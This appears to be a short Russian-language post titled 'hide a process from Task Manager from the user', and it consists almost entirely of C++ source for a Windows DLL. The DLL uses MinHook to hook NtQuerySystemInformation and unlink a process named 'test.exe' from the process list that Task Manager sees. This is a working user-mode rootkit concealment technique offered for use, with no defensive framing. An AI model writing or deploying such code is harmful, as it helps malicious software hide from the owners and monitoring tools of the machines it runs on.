Скрыть процесс из диспетчера задач от пользователя

#include <Windows.h>
#include "MinHook.h"
 
#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v140-md.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v140-md.lib")
#endif
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
 
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
 
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER WorkingSetPrivateSize;
    ULONG HardFaultCount;
    ULONG NumberOfThreadsHighWatermark;
    ULONGLONG CycleTime;
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    // ...
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
 
// NtQuerySystemInformation
typedef NTSTATUS(WINAPI *PNQSI)(
    _In_      ULONG  SystemInformationClass,
    _Inout_   PVOID  SystemInformation,
    _In_      ULONG  SystemInformationLength,
    _Out_opt_ PULONG ReturnLength);
 
PNQSI pNQSI_WinAPI;
 
NTSTATUS WINAPI DetourNtQuerySystemInformation(
    _In_      ULONG  SystemInformationClass,
    _Inout_   PVOID  SystemInformation,
    _In_      ULONG  SystemInformationLength,
    _Out_opt_ PULONG ReturnLength)
{
    NTSTATUS status = pNQSI_WinAPI(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 
    // SystemProcessInformation
    if (NT_SUCCESS(status) && SystemInformationClass == 5)
    {
        PSYSTEM_PROCESS_INFORMATION currProc, prevProc;
        currProc = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
 
        do
        {
            prevProc = currProc;
            currProc = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)prevProc + prevProc->NextEntryOffset);
 
            if (!wcsncmp(currProc->ImageName.Buffer, L"test.exe", currProc->ImageName.Length))
            {
                if (currProc->NextEntryOffset == 0)
                    prevProc->NextEntryOffset = 0;
                else
                    prevProc->NextEntryOffset += currProc->NextEntryOffset;
                currProc = prevProc;
            }
 
        } while (currProc->NextEntryOffset != 0);
 
    }
 
    return status;
}
 
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
    )
{
    PNQSI pNQSI = (PNQSI)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtQuerySystemInformation");
 
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hinstDLL); // Disable DLL_THREAD_ATTACH and DLL_THREAD_DETACH
 
        if (MH_Initialize() != MH_OK) return FALSE;
        if (MH_CreateHook(pNQSI, &DetourNtQuerySystemInformation, reinterpret_cast<LPVOID*>(&pNQSI_WinAPI)) != MH_OK) return FALSE;
        if (MH_EnableHook(pNQSI) != MH_OK) return FALSE;
 
        break;
    case DLL_PROCESS_DETACH:
        MH_DisableHook(pNQSI);
        MH_Uninitialize();
        break;
    }
 
    return TRUE;
}